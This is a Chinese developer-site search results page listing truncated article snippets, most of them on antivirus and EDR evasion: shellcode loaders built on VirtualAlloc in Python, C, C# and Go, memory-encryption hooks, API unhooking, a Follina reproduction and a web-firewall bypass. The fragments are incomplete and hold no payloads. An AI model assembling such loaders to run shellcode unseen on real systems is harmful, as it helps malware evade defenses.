首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏安全学习记录

    免杀技术-go shellcode加载bypassAV

    、内嵌C代码执行 内存空间申请 VirtualAlloc VirtualAlloc:在调用进程的虚拟地址空间中保留、提交或更改页面区域的状态(分配的内存初始化为零) SWAPMem, _, _ := VirtualAlloc.Call VirtualAlloc2(进程注入):在指定进程的虚拟地址空间内保留、提交或更改内存区域的状态。 VirtualAlloc VirtualAlloc是一个Windows api函数,该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页,下面是官方给出的api参考文档。 函数 kernel32, _ := syscall.LoadDLL("kernel32.dll") VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc 函数 kernel32, _ := syscall.LoadDLL("kernel32.dll") VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc

    3K21编辑于 2023-04-27
  • 来自专栏鸿鹄实验室

    免杀tips:回调函数的魅力

    EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char*)shellcode, 0, 0); } 而这样做的好处就是我们避免了一下敏感函数的使用,比如内存分配的:malloc(),virtualalloc EnumSystemGeoID( GEOCLASS GeoClass, GEOID ParentGeoId, GEO_ENUMPROC lpGeoEnumProc ); 注:使用该api无法避免virtualalloc 的使用,其api调用链如下: virtualalloc ---> memcpy ---> EnumSystemGeoID 按照之前的文章所说,我们还是需要先进行api的调用: [DllImport ("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType import winim/lean 然后就是一样的api的调用了,这里就仅仅展示一下VirtualAlloc吧: let rPtr = VirtualAlloc(

    1.9K30发布于 2021-04-29
  • 来自专栏E条咸鱼

    Shellcode Loader原理

    = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode 通过bytearray来获取转为bytes类型后的shellcode ctypes库解释+restype设置返回类型 python的ctypes模块是内建,用来调用系统动态链接库函数的模块 我们需要通过VirtualAlloc 来申请内存,但是在此之前需要先确认系统位数 为了在64位系统中运行,返回的类型必须跟系统位数一样 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 其中ctypes.c_uint64就是设置返回的类型为64位,如果没有这一段的话,则默认返回32位 通过VirtualAlloc申请内存 下面是函数原型和参数 LPVOID VirtualAlloc fr=aladdin 将Shellcode加载进内存中 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len

    1.5K20编辑于 2022-10-27
  • 来自专栏HACK学习

    实战 | 通过VEH异常处理规避内存扫描实现免杀

    那么就需要知道是哪一块地址需要修改,这里要根据申请空间API决定,如果是VirtualAlloc就hook VirtualAlloc,如果是其他申请空间API就hook其他API,这个根据具体的c2profile 如果不使用c2profile那么默认就是使用VirtualAlloc分配空间。这里先看一下hook VirtualAlloc,作用主要是为了读取起始地址和大小。 WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc 并不是去hook的上面这个我们自己调用的VirtualAlloc,这个是没有意义的。 而且他这个执行步骤是会将前面的代码删除的,比如说 比如生成一个无阶段的raw文件,然后跑一下 会发现这里调用了两次VirtualAlloc,实际上就是执行cs的代码他自己会调用一次,这个地址才是真正的

    4.4K20发布于 2021-11-02
  • 来自专栏红蓝对抗

    【免杀】一种python反序列化免杀方式

    python分离加载的例子 import ctypes f=open('demo.png','rb') shellcode=f.read() shellcode=bytearray(shellcode) #设置VirtualAlloc 返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64 #申请内存 ptr=ctypes.windll.kernel32 .VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) # .VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40)) .VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))

    1.1K20编辑于 2022-12-22
  • 来自专栏Ms08067安全实验室

    投稿 | 初始Shellcode之Shellcode执行工具编写思路

    x30\x2e\x31\x32\x38\x00\x00\x00\x00\x00"; // 获取shellcode大小 shellcode_size = sizeof(buf); /* VirtualAlloc MEM_COMMIT, // 内存页状态 PAGE_EXECUTE_READWRITE // 可读可写可执行 ); */ char * shellcode = (char *)VirtualAlloc ); WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束 return 0; } 从大佬的注释就可以很明确的看出来使用VirtualAlloc VirtualAlloc百度的解释: VirtualAlloc是一个WindowsAPI函数,该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页。简单点的意思就是申请内存空间。

    94940发布于 2021-04-23
  • 来自专栏锦鲤安全

    C++内存加密动态免杀defender

    在32位中,我们可以直接挂钩VirtualAlloc函数截取返回地址。 对比一下32位下的VirtualAlloc函数内存与64位下的VirtualAlloc函数内存: 可以发现64位下VirtualAlloc函数内存只有一句jmp跳转指令,对于这种只有一句jmp跳转指令的函数进行挂钩时可能会出现错误 ,这种错误不一定会发生,当64位下挂钩VirtualAlloc时,我们自己调用没有问题,可以正常挂钩,但是cs的shellcode进行调用时就会发生错误,因此64位下不能挂钩VirtualAlloc函数 1. 32位内存加密 先挂钩VirtualAlloc函数: 在HookedVirtualAlloc函数中保存申请的内存2的地址和大小,HookVirtualAlloc用于设置VirtualAlloc挂钩 执行后可以看到调用了3次VirtualAlloc函数: 第一次是我们分配shellcode内存时调用的,后面两次是shellcode自己调用的,查看shellcode第一次调用VirtualAlloc申请的内存

    4.5K72编辑于 2023-11-20
  • 来自专栏White OWL

    免杀&&抽奖|python进行shellcode免杀

    ") # 设置VirtualAlloc返回类型为ctypes.c_uint64 #在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64 VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), #要分配的内存区域的地址 ctypes.c_int ") # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int .dll动态链接库中的VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), #要分配的内存区域的地址

    4.2K30编辑于 2022-09-22
  • 驱动开发:运用VAD隐藏R3内存思路

    通过dt _EPROCESS得到EProcess结构VadRoot如下:图片例如当调用VirtualAlloc分配内存空间。 #include <iostream>#include <Windows.h>int main(int argc, char *argv[]){LPVOID p1 = VirtualAlloc(NULL , 0x10000, MEM_COMMIT, PAGE_READWRITE);LPVOID p2 = VirtualAlloc(NULL, 0x10000, MEM_COMMIT, PAGE_EXECUTE_READWRITE

    80930编辑于 2022-12-20
  • 来自专栏Gamma安全实验室

    edr对抗技术1-api unhook output

    0x01 关于对抗api hook技术 auth:cmrex 文章灵感来自于:阿里云先知fdx师傅 出现场景 杀软会对敏感的api事先进行hook操作,例如: VirtualAlloc memcpy CreateRemoteThreadEx 的跟踪hook点 我们可以很清晰的看见,调用了virtualalloc后,来到了ghhlp64.dll中继续运行,很明显这里被tq给hook了。 但是值得一提的是,tq只是在程序运行之前检测一下导入表而已,然后对于具体执行的东西比如virtualalloc的内容并没hook,如下: 这里是加载完tq的dll后,ntdll这里没有任何的跳转。 :有动态导入表直接测试加载器 初始化: 加载了若干dll 加载了iMonitorH2K.i64{ 这里没有检测virtualalloc! 然后在运行到具体的地方的时候,例如virtualalloc的时候,再去进行更加深入(内核中)的操作。

    1.3K10编辑于 2024-05-14
  • 驱动开发:运用VAD隐藏R3内存思路

    通过dt _EPROCESS得到EProcess结构VadRoot如下: 例如当调用VirtualAlloc分配内存空间。 #include <iostream> #include <Windows.h> int main(int argc, char *argv[]) { LPVOID p1 = VirtualAlloc (NULL, 0x10000, MEM_COMMIT, PAGE_READWRITE); LPVOID p2 = VirtualAlloc(NULL, 0x10000, MEM_COMMIT, PAGE_EXECUTE_READWRITE

    57210编辑于 2022-12-28
  • 来自专栏红队蓝军

    Windows支持诊断工具(MSDT)远程代码执行漏洞(CVE-2022-30190)分析复现/修复

    payload肯定是没有问题的,那么问题就出在我们上线cs的exe上,这里笔者尝试使用x86的payload、使用powershell加载都以失败告终,最后找到了解决方法,使用cs生成的shellcode自己通过VirtualAlloc 申请内存并编译即可上线 然后编写代码实现将shellcode加载到内存空间,这里就用最简单的VirtualAlloc申请空间然后用指针指向申请的空间,这里shellcode加解密去绕AV师傅们可自行拓展 windows.h> /* length: 833 bytes */ unsigned char buf[] = ""; void shellcode() { PVOID p = NULL; p = VirtualAlloc (NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (p == NULL) printf("VirtualAlloc error : %d\n", GetLastError()); else printf("VirtualAlloc successfully , address : %x\n", p); if (!

    2.4K20编辑于 2022-07-06
  • 来自专栏红蓝对抗

    免杀&&抽奖|python进行shellcode免杀

    ") # 设置VirtualAlloc返回类型为ctypes.c_uint64 #在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64 VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), #要分配的内存区域的地址 ctypes.c_int ") # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int .dll动态链接库中的VirtualAlloc函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), #要分配的内存区域的地址

    3.9K30编辑于 2022-08-30
  • 来自专栏FreeBuf

    免杀初探:python加载shellcode免杀与国内主流杀软大战六个回合

    ") //windows控制台程序不出黑窗口 unsigned char buf[] =”shellcode” main() { char* Memory; Memory = VirtualAlloc ()函数的作用是申请一块内存空间 参数: LPVOID VirtualAlloc{ LPVOID lpAddress, // 要分配的内存区域的起始地址 DWORD dwSize, // 分配的大小 DWORD 函数申请内存 rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40) #调用kernel32.dll rwxpage, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1) 复杂点的: #调用kernel32.dll动态链接库中的VirtualAlloc 函数申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)),ctypes.c_int

    4.3K10发布于 2021-10-11
  • 来自专栏kali blog

    python在渗透测试中的免杀

    import ctypes #(kali生成payload存放位置) shellcode = bytearray(shellcode) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc shellcode =codecs.escape_decode(shellcode)[0] shellcode = bytearray(shellcode) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode

    88830编辑于 2023-08-19
  • 来自专栏潇湘信安

    D盾防火墙防护绕过-[命令执行限制]

    byte[] codeBytes = { Insert Shellcode Here }; IntPtr handle = IntPtr.Zero; handle = VirtualAlloc , 0, MEM_RELEASE); } } //Windows API [DllImport("Kernel32.dll", EntryPoint = "VirtualAlloc ")] public static extern IntPtr VirtualAlloc(IntPtr address, int size, uint allocType, uint protect msf-shellcode.aspx、intosec-shellcode.aspx脚本的VirtualAlloc,哥斯拉Csharp马连接时的LoadLibraryW。 CreateThread VirtualAlloc LoadLibraryA LoadLibraryW ......

    3.3K20编辑于 2022-05-16
  • 来自专栏全栈程序员必看

    c++windows内核编程笔记day12 硬盘逻辑分区管理、文件管理、内存管理[通俗易懂]

    //虚拟内存分配函数,分配成功后返回地址 LPVOID VirtualAlloc( LPVOID lpAddress,//NULL或提交地址 SIZE_T dwSize, //分配大小 %u MB\n”,mm.dwAvailVirtual/1024/1024); } void Virtual_info() { ShowMemStatus(); char* p=(char*)VirtualAlloc 不分配内存 char* p =(char*) VirtualAlloc(NULL,1024*1024,MEM_RESERVE,PAGE_READWRITE); char* p1=(char*)VirtualAlloc %s\n",p); VirtualFree(p,0,MEM_RELEASE); } void Virtual_reserve() { //申请地址,不分配内存 char* p =(char*) VirtualAlloc (NULL,1024*1024,MEM_RESERVE,PAGE_READWRITE); char* p1=(char*)VirtualAlloc(p,4096,MEM_COMMIT,PAGE_READWRITE

    66320编辑于 2022-07-07
  • 来自专栏用户7737280的专栏

    这些宏的REGISTER和CALL函数

    REGISTER("Kernel32","VirtualAlloc","JJJJJ", 0,880,4096,64) REGISTER(module_name, procedure_name, type Procedure_name 是 DLL 中导出函数的名称,例如“VirtualAlloc”。 Macro_type 应该是 1,代表函数。

    42430编辑于 2021-11-29
  • 来自专栏鸿鹄实验室

    利用Cobalt Strike's Artifact Kit 进行免杀

    Artifact Kit的地址为: https://www.cobaltstrike.com/help-artifact-kit 使用之前我们先build一下: 查看编译好的字符串: 发现以下敏感字符串: VirtualAlloc length, char * key) { DWORD old; /* allocate the memory for our decoded payload */ void * ptr = VirtualAlloc length, char * key) { DWORD old; /* allocate the memory for our decoded payload */ void * ptr = VirtualAlloc System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc

    2.5K30编辑于 2021-12-15
  • 来自专栏洛米唯熊

    Python内存加载shellcode

    .; // 定义一个函数类型 typedef void (__stdcall *CODE) (); // 申请内存 PVOID p = NULL; p = VirtualAlloc(NULL, sizeof 都是调用的c的ffi,那么我们直接按照之前的思路来就行了. import ctypes #(kali生成payload存放位置) shellcode = bytearray(shellcode) # 设置VirtualAlloc 返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存 ptr = ctypes.windll.kernel32 .VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)

    2.7K30发布于 2020-04-26
领券